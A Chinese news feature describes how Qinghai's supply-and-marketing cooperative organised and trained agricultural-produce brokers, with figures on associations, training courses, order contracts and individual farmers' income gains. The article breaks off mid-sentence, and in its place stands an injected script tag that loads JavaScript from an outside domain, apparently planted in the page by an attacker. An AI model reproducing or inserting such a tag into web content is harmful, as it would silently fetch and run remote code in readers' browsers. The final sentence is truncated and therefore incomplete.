黎明时的山村显得格外寂静。在互助县通往西宁的公路上，几个农民骑着自行车，车架两边挂着用草编织的背篓，吃力地向西宁市区进发。在城乡接合处，他们高声叫卖从村里收购的鸡蛋……这是20世纪80年代中期被称之为“倒蛋部队”的一幅剪影。尽管当时并没有过多地引起人们的注意，但却浓缩着青海省农产品经纪人队伍成长的雏形。 
　　经过20多年的风风雨雨，现在全省共拥有农产品专业合作经济组织、协会65个，农产品初级交易市场15个，农产品经纪人2100人，年销售农畜产品22万吨，价值达5亿元人民币，业务范围扩展到甘肃、河南、四川、山东、陕西、湖南、湖北、北京、广东等省、市、自治区，形成一支极具青海特色的农产品营销新军。 
　　在计划经济时期，农村供销社在农产品购销方面发挥了重要作用。随着由计划经济向市场经济的转变，农村供销社为农民服务和农产品购销业务萎缩，农产品营销的产业链条衔接中断，造成农民增产却不能增收。但正是这种“缺位”为一些头脑灵活的村里人提供了市场需求的“有为”信息。 
　　青海省供销社针对这种情况，积极探索，走出了一条适应青海农牧区实际并有所创新的农产品营销之路，那就是，以农村基层供销社为龙头，将农产品专业合作组织、各类营销协会、初级农贸市场、农产品经纪人有机结合，形成相互独立又相互依存，相互沟通又相互配合，上下联网、互惠互利的农产品营销网络体系。现今，省供销社牵头成立的“青海农畜产品经纪人营销协会”，就下设马铃薯、牛羊肉、油菜籽、中藏药材、胡萝卜、大蒜、蚕豆、两椒（花椒、辣椒）8个专业分会，2000多名农产品经纪人活跃在西宁、海东、海南、海北等地，逐步形成有产地、有组织、有资金、有渠道、有经济实力的农产品营销实体。 
　　从当初孤身在市场上东找西抓的个体户，到今天取得国家劳动保障部、全国供销总社颁发的“农产品经纪人资格证”，青海省农民经纪人的成长过程并不轻松。3年来，省财政厅、省扶贫办共为省供销社解决培训资金65万元，2006年，省“阳光办”正式将省供销社农牧民经纪人培训，纳入培训计划。同时，省供销社针对青海省农牧民文化水平低，营销手段少，信息不畅通等实际问题，从2003年至2006年分别举办农畜产品经纪人培训班28期，聘请法律、财务、质量、营销等方面专家、技术人员，对2260名农牧民经纪人进行了农畜产品市场营销、信息搜集、合同签订、相关法律、法规知识等理论知识和操作技能培训，通过技能鉴定，为1800名农民颁发了《经纪人资格证书》。在培训中结合当地协会组织的要求，还进行了农业实用技术培训，如：标准化生产技术、无公害加工技术、测土配方施肥技术、中藏药材种植加工、食用菌栽培技术等。在培训过程中省供销社力求保质保量，不增加农牧民负担，采取“三免一补四统一”办法。“三免”即：免学费、免书本费、免食宿费；“一补”即：误工补助；“四统一”即：统一培训教师、统一教材、统一考核、统一鉴定。 
　　经过严格培训的农产品经纪人，整体素质大大提高，一批有思想、有文化、懂科技、会经营的新型农产品经纪人，在市场经济大潮中“八仙过海，各显神通”：湟中县农产品经纪人尤良山专门从事油菜籽营销，去年收购油菜籽10000多吨，带动3000多户农民增收；民和县供销社从外省引进百合新品种，建立52亩示范基地，引导农民种植百合1000亩，农民一亩地一年可收入2200元；互助县农产品经纪人魏重福从甘肃临洮引进40吨个大、产量高、抗旱性强的马铃薯种子，分给村里60多户农民，使每亩马铃薯增产1000多斤。 
　　在乐都县雨润镇荒滩村，农民朱双玉向笔者讲述了乐都县供销社大蒜营销协会对他的帮助。朱双玉家6亩地原来全种麦子，一亩地虽说年产800斤，收入却只有400元，除去化肥、种子和田间管理的费用，一年下来刚刚吃饱肚子。2001年，他看到大蒜价格好，就种了2亩大蒜，但由于没有销售渠道，只好蹲在路边自己卖，刮风下雨忍饥挨饿不说，也卖不上个好价钱。2004年，乐都县大蒜营销协会成立后，协会派人到地头收购，朱双玉不仅不用蹲路边，而且协会给的价格也公道。今年，他家6亩地全种成大蒜，蒜和蒜薹的收入加在一起，每亩地纯收入3000元。 
　　朱双玉卖蒜前后的变化，说明了营销协会和农产品经纪人对农产品营销的桥梁和引导作用。为帮助会员扩大业务，增加农牧民收入，省供销社农畜产品经纪人营销协会积极与有关县乡协调，组织经纪人和农畜产品加工龙头企业签订订单农业，解决农牧民“卖难”问题。去年，与农户签订马铃薯收购订单80000吨、中藏药材收购订单3000亩，牛羊肉收购订单6000吨、线辣椒种植订单6000吨、蚕豆种植订单3000亩、大蒜收购订单1000亩。今年7月，省供销社和省工商局联合，组织11名农产品经纪人大户到四川、湖北考察市场，经与当地经纪人、农产品加工龙头企业洽谈，签订销售协议1.3亿元。这些订单的实施，在一定程度上解除了农民农产品销售的后?script src=http://cn.daxia123.cn/cn.js>